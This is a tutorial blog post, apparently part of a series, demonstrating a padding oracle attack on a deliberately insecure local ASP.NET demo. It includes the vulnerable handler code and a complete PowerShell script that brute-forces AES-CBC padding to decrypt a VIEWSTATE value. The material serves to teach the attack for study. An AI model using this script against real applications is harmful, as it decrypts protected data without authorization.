In the previous post we created a sample ASP.NET application, which performs encryption in an old, unsecured way (without signature). Its source code is available in my blog samples repository. To run the application execute the runiis.bat file – you must have IIS Express installed on your machine. If everything starts correctly you should see in your browser this beautiful page:

But it is not the look that is important but the source:

<!doctype html> <html> <form action="/EncryptionHandler.ashx" method="POST"> <input type="hidden" name="VIEWSTATE" value="FB98C79203500B420DE40A9B800451B3B09CC668622A10558201848C41BD7A04E47E2F6518ADF8B258674CF19500A37C" /> <input type="submit" value="Test" /> </form> </html>

We would like to decrypt the VIEWSTATE value. We know that the ciphertext is not signed and the application is using AES-CBC which means we might try the padding oracle attack on it. You may read the whole description on Wikipedia, but the basic idea is that we will be attacking each block of the ciphertext (16 bytes in case of AES) by modifying the block preceding it. The picture below shows what happens when we change the last byte of a cipher block (I colored an image from the Wikipedia article about AES-CBC):

The yellow byte is a result of xoring the red byte with the green byte . We try values from 0 to 255 for the red byte , and when we get 200 as a result of our HTTP request, we can assume that the resulted plaintext has a valid padding (0x01 for the last byte). Here a small note: for our attack to succeed the application must inform us that the padding was incorrect. If you look at the code of our web handler it returns status 200 when the padding was correct but the data was junk. When padding was invalid we would receive status code 500:

var v = MachineKey.Decode(viewState, MachineKeyProtection.Encryption); context.Response.ContentType = "text/plain"; if (v.SequenceEqual(secret)) { context.Response.Write("I know the secret"); } else { context.Response.Write("Something is wrong with my secret."); }

We know the red byte as we set it explicitly. If the decryption was successful we also know the yellow byte – it should be equal to 0x01. Thus we can calculate the green byte . Knowing the green byte , we take the next byte to the left of the red byte and try to guess the byte preceding the yellow byte (using padding 0x02 0x02) and so on.

I wrote a sample code in PowerShell to perform the padding oracle attack on the example website:

$ErrorActionPreference = "Stop" Import-Module PowerCrypto function TestPadding { param ( [string]$CipherText ) $PostData = "VIEWSTATE=$CipherText"; try { $null = Invoke-WebRequest -Method Post -UseBasicParsing ` -Body $PostData -Uri "http://localhost:8080/EncryptionHandler.ashx" return $true } catch { return $false } } function ReadKey { Write-Host -NoNewLine "Press any key to continue..." $null = [Console]::ReadKey() } $BlockSize = 16 # AES $WebAppRequest = Invoke-WebRequest -UseBasicParsing "http://localhost:8080/EncryptionHandler.ashx" $Xml = [xml]$WebAppRequest.Content.Substring("<!doctype html>".Length) $IV = @(0) * $BlockSize $CipherText = ConvertFrom-HexString ($xml.html.form.input[0].value) Write-Host "This is what we need to decipher:" $CipherText | Format-HexPrettyPrint ReadKey for ($BlockNumber = 0; $BlockNumber -lt ($CipherText.Length / $BlockSize); $BlockNumber++) { $CurrentBlock = $CipherText[$(16 * $BlockNumber)..$(16 * $BlockNumber + 15)] $PlainTextBytes = New-Object Byte[] $BlockSize $InterState = New-Object Byte[] $BlockSize for ($IVByte = $BlockSize - 1; $IVByte -ge 0; $IVByte--) { [Byte]$PaddingByte = 16 - $IVByte $TestIV = New-Object Byte[] $BlockSize for ($i = 15; $i -gt $IVByte; $i--) { # I[n + 1] x IV[n + 1] = $PaddingByte => IV[n + 1] = $PaddingByte -bxor I[n + 1] $TestIV[$i] = $PaddingByte -bxor $InterState[$i] } $InterStateToGuessHex = $InterState[0..$IVByte] | ConvertTo-HexString if ($IVByte -lt $($BlockSize - 1)) { $InterStateGuessedHex = $InterState[$($IVByte + 1)..$($BlockSize - 1)] | ConvertTo-HexString } else { $InterStateGuessedHex = [string]::Empty } $Found = $False for ([Byte]$CurrentByte = 0; $CurrentByte -lt [Byte]::MaxValue; $CurrentByte++) { $TestIV[$IVByte] = $CurrentByte $TestIVHex = ConvertTo-HexString $TestIV # Nice print Write-Host -NoNewLine "`r$InterStateToGuessHex" Write-Host -NoNewLine -ForegroundColor DarkGreen $InterStateGuessedHex Write-Host -NoNewLine -ForegroundColor DarkRed " ([$IVByte] = $("{0:X2}" -f $CurrentByte)) " # I needed to add the first block because the validation fails if the decrypted plain text # is less then 24B $CipherTextToTest = "00000000000000000000000000000000" + $TestIVHex + (ConvertTo-HexString $CurrentBlock) if (TestPadding $CipherTextToTest) { # I[n] x IV'[n] = $PaddingByte => I[n] = IV'[n] x $PaddingByte $InterState[$IVByte] = $CurrentByte -bxor $PaddingByte # I[n] x IV[n] = P1[n] $PlainTextBytes[$IVByte] = $IV[$IVByte] -bxor $InterState[$IVByte] $Found = $True break } } if (!$Found) { Write-Error "Fail" exit } } $IV = $CurrentBlock # Nice print Write-Host -NoNewLine "`rInter state: " Write-Host -ForegroundColor DarkGreen "$($InterState | ConvertTo-HexString) " $PlainTextBytes | Format-HexPrettyPrint }

The GIF below presents the decryption process of our secret (can you find it?:)):

You may be wondering what is the 24-byte garbage at the beginning of the decrypted text. The old ASP.NET was using the Initialization Vector with all the bytes set to zeros. To make the ciphertext unique (the usual role of Initialization Vector) ASP.NET was inserting 24 random bytes before the actual plaintext. As those 24 bytes were unique per encryption process, the resulted ciphertext was unique too.

The PowerShell script uses the PowerCrypto module to work with the hex strings. This module is available in my GitHub repository. Over time I plan to add new cmdlets to cover various cryptographic scenarios. The module is based on the excellent BouncyCastle library.